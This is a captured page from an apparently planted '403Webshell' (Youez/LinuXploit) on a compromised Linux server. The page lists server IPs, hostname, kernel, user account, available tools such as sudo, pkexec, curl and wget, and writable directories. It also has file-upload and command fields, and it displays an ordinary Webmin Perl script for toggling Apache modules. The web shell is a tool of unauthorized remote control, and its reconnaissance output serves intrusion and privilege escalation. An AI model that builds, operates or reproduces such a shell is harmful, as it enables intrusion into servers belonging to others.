403Webshell
Server IP : 104.21.25.180  /  Your IP : 104.23.197.122
Web Server : Apache/2.4.37
System : Linux almalinux.duckdns.org 4.18.0-553.111.1.el8_10.x86_64 #1 SMP Sun Mar 8 20:06:07 EDT 2026 x86_64
User : ricodeal ( 1046)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/libexec/webmin/apache/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/libexec/webmin/apache/save_mods.cgi
#!/usr/bin/perl
# Enable or disable Apache modules

require './apache-lib.pl';
&ReadParse();
$access{'global'} == 1 || &error($text{'mods_ecannot'});
&error_setup($text{'mods_err'});

@mods = &list_configured_apache_modules();
%want = map { $_, 1 } split(/\0/, $in{'m'});
$changed = 0;
foreach $m (@mods) {
	if ($want{$m->{'mod'}} && !$m->{'enabled'}) {
		# Need to enable
		&add_configured_apache_module($m->{'mod'});
		$changed++;
		}
	elsif (!$want{$m->{'mod'}} && $m->{'enabled'}) {
		# Need to disable
		&remove_configured_apache_module($m->{'mod'});
		$changed++;
		}
	}

# Force re-detection of modules
&clear_apache_modules_cache();

# Force restart Apache
if ($changed && &is_apache_running()) {
	$err = &stop_apache();
	&error($err) if ($err);
	&wait_for_apache_stop();
	$err = &start_apache();
	&error($err) if ($err);
	}

&webmin_log("mods");

&redirect("index.cgi?mode=global");



Youez - 2016 - github.com/yon3zu
LinuXploit